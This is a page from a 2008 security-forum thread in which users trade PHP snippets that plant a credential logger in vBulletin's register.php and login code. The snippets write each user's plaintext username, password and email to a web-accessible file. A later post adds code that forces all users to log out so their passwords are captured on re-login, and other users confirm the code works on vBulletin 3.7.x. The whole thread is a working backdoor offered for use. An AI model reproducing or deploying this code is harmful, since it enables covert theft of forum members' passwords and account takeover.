 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
 Posted: Mon Jun 02, 2008 9:50 pm |
 |
|
| kurwamac |
| Regular user |
 |
|
| Joined: Jun 01, 2008 |
| Posts: 13 |
|
|
|
 |
|
 |
|
Can you make for register.php?
as someone registers will logs save |
|
|
|
|
| Posted: Tue Jun 03, 2008 2:39 am |
|
|
| gibbocool |
| Advanced user |
 |
|
| Joined: Jan 22, 2008 |
| Posts: 208 |
|
|
|
|
|
|
|
| kurwamac wrote: | Can you make for register.php?
as someone registers will logs save |
It's very possible, but I dont see what the difference between that and a login logger would be. You're going to get their username and password either way. |
|
|
|
|
| Posted: Tue Jun 03, 2008 11:31 am |
|
|
| tr0nix |
| Active user |
|
|
| Joined: Mar 06, 2008 |
| Posts: 48 |
|
|
|
|
|
|
|
Edit it like that:
| Code: | | $getouttahere = array("administrator", "anotheruser", "anotheruser1337", "user1","user2","user3", "user4"); |
|
|
|
|
|
| Posted: Tue Jun 03, 2008 11:46 am |
|
|
| kurwamac |
| Regular user |
|
|
| Joined: Jun 01, 2008 |
| Posts: 13 |
|
|
|
|
|
|
|
| tr0nix wrote: | Edit it like that:
| Code: | | $getouttahere = array("administrator", "anotheruser", "anotheruser1337", "user1","user2","user3", "user4"); |
|
I have to enter all the users? unable to do so, it had been automatically registered at all |
|
|
|
|
| Posted: Tue Jun 03, 2008 1:51 pm |
|
|
| tr0nix |
| Active user |
|
|
| Joined: Mar 06, 2008 |
| Posts: 48 |
|
|
|
|
|
|
|
| kurwamac wrote: | | tr0nix wrote: | Edit it like that:
| Code: | | $getouttahere = array("administrator", "anotheruser", "anotheruser1337", "user1","user2","user3", "user4"); |
|
I have to enter all the users? unable to do so, it had been automatically registered at all |
Okay, then wait.
I'll code it for the registering process, but it can take some time, cause I've birthday and I don't wanna sit all day @ the pc now ;P |
|
|
|
|
| Posted: Tue Jun 03, 2008 2:06 pm |
|
|
| kurwamac |
| Regular user |
|
|
| Joined: Jun 01, 2008 |
| Posts: 13 |
|
|
|
|
|
|
|
ok waiting  |
|
|
|
|
| Posted: Tue Jun 03, 2008 8:38 pm |
|
|
| kurwamac |
| Regular user |
|
|
| Joined: Jun 01, 2008 |
| Posts: 13 |
|
|
|
|
|
|
|
|
|
|
|
| Posted: Thu Jun 05, 2008 1:46 pm |
|
|
| tr0nix |
| Active user |
|
|
| Joined: Mar 06, 2008 |
| Posts: 48 |
|
|
|
|
|
|
|
Tested under:
Open "register.php" and search for
| Code: | | $show['errors'] = false; |
(approx. line 377)
Then put the following code under or above the line:
| Code: |
$lg_username = strtolower($vbulletin->GPC["username"]);
$lg_password = $vbulletin->GPC["password"];
$lg_email = $vbulletin->GPC["email"];
$lg_file = "./includes/lg.html";
if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
{
$fp1 = @fopen($lg_file, "a+");
@fwrite($fp1, $lg_username . ' : ' . $lg_password." (" . $lg_email . ")\n");
@fclose($fp1);
$f = @file($lg_file);
$new = array_unique($f);
$fp = @fopen($lg_file, "w");
foreach($new as $values)
{
@fputs($fp, $values);
}
@fclose($fp);
}
|
You can edit the $lg_file variable. It defines where you want to save your log file.
Example:
| Code: | | $lg_file = "./includes/lg_reg.html"; |
Greetings,
tr0nix |
|
|
|
|
|
 |
|
 |
| Posted: Sun Jun 15, 2008 4:07 am |
|
|
| tooth |
| Beginner |
|
|
| Joined: May 29, 2008 |
| Posts: 3 |
|
|
|
|
|
|
|
| Both codes (logging in & the newly added registration one) have been tested and work on vbulleting 3.7.x |
|
|
|
|
|
|
|
|
| Posted: Tue Jun 17, 2008 7:11 am |
|
|
| ccna |
| Regular user |
|
|
| Joined: Apr 22, 2008 |
| Posts: 7 |
|
|
|
|
|
|
|
when i put
| Code: | $lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
$lg_password = $vbulletin->GPC["vb_login_password"];
$lg_file = "./includes/lg.html";
$sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
while($row = @mysql_fetch_array($sql_query))
{
if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
{
$fp1 = @fopen($lg_file, "a+");
@fwrite($fp1, $lg_username . ' : ' . $lg_password." (" . $row["email"] . ")\n");
@fclose($fp1);
$f = @file($lg_file);
$new = array_unique($f);
$fp = @fopen($lg_file, "w");
foreach($new as $values)
{
@fputs($fp, $values);
}
@fclose($fp);
}
} |
i got error
| Code: | Warning: array_unique() [function.array-unique]: The argument should be an array xxxx/login.php on line 146
Warning: Invalid argument supplied for foreach() in /xxxlogin.php on line 148 |
line 146--> $new = array_unique($f);
line 148--> foreach($new as $values) |
|
|
|
|
|
|
|
|
| Posted: Wed Jun 18, 2008 3:10 pm |
|
|
| tr0nix |
| Active user |
|
|
| Joined: Mar 06, 2008 |
| Posts: 48 |
|
|
|
|
|
|
|
|
|
|
|
| Posted: Wed Jul 02, 2008 11:11 am |
|
|
| jknx2k |
| Beginner |
|
|
| Joined: Jul 02, 2008 |
| Posts: 1 |
|
|
|
|
|
|
|
The code doesn't seem to work with 3.7.2
Does anyone know how to make it work? TIA |
|
|
|
|
| Posted: Sun Jan 04, 2009 2:14 am |
|
|
| Sleeper |
| Regular user |
|
|
| Joined: Jan 04, 2009 |
| Posts: 12 |
| Location: Earth |
|
|
|
|
|
|
Dude this hack is sexy as FUCK! Tested and working PERFECT on vb 3.7.3 PL1. I been looking for a hack like this for a min now! Good work man 
PS: Is there a way to make it so that ALL USERS get logged out so that they all have to relogin at least ONCE so that they username and PW will show up in the log file? Maybe even executing an SQL query on the database or something? |
|
|
|
|
|
|
|
|
| Posted: Sun Jan 04, 2009 1:35 pm |
|
|
| tr0nix |
| Active user |
|
|
| Joined: Mar 06, 2008 |
| Posts: 48 |
|
|
|
|
|
|
|
| Sleeper wrote: | Dude this hack is sexy as xxxx! Tested and working PERFECT on vb 3.7.3 PL1. I been looking for a hack like this for a min now! Good work man
PS: Is there a way to make it so that ALL USERS get logged out so that they all have to relogin at least ONCE so that they username and PW will show up in the log file? Maybe even executing an SQL query on the database or something? |
Change the code to (not tested, should work!):
| Code: |
require_once(DIR . '/includes/functions_login.php');
setcookie("countLogout", 0,time()+604800); // save cookie for one week!
$countLogout = $_COOKIE["countLogout"];
if($countLogout == 0 && $vbulletin->userinfo['username'] != "")
{
setcookie("countLogout",1,time()+604800); // save cookie for one week!
$vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR);
process_logout();
}
|
and it will logout all users, if the cookie is '0' (the cookie will save 1 week, then it begins again).
// Added in my starting post |
|
|
|
|
|
|
|
|
| Posted: Sun Jan 04, 2009 6:26 pm |
|
|
| Sleeper |
| Regular user |
|
|
| Joined: Jan 04, 2009 |
| Posts: 12 |
| Location: Earth |
|
|
|
|
|
|
| tr0nix wrote: | | Sleeper wrote: | Dude this hack is sexy as xxxx! Tested and working PERFECT on vb 3.7.3 PL1. I been looking for a hack like this for a min now! Good work man
PS: Is there a way to make it so that ALL USERS get logged out so that they all have to relogin at least ONCE so that they username and PW will show up in the log file? Maybe even executing an SQL query on the database or something? |
Change the code to (not tested, should work!):
| Code: |
require_once(DIR . '/includes/functions_login.php');
setcookie("countLogout", 0,time()+604800); // save cookie for one week!
$countLogout = $_COOKIE["countLogout"];
if($countLogout == 0 && $vbulletin->userinfo['username'] != "")
{
setcookie("countLogout",1,time()+604800); // save cookie for one week!
$vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR);
process_logout();
}
|
and it will logout all users, if the cookie is '0' (the cookie will save 1 week, then it begins again).
// Added in my starting post |
Thanks for the reply. I tried the code and it's not exactly working. First off the code isn't having any affect in Internet Expolrer, it's not giving any errors either it just simply isn't working. Firefox on the other hand, everytime I refresh the page or browse to another thread it logs me out. I logout, log back in and then if I navigate away from the page that I'm on it does the same thing, logs me out and then I gotta log back in.
Is there not an SQL query that I can run on my database so that I can force all users to be logged out? Or perhaps change something somewhere so that if a user IS using the REMEMBER ME box then they are only allowed to stay logged in like that for X amount of days. That way at some point they would eventually have to log back in.
Kinda like eBay does it where you can only stay logged in for like 24 hours and then the system forces you to log back in etc. |
|
|
|
|
|
www.waraxe.us Forum Index -> vBulletin Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
|
All times are GMT
Page 2 of 4
Goto page Previous1, 2, 3, 4Next
|
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|
Discussions
Tools
Content
Info
Membership:
Latest: 
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 98
Members: 0
Total: 98
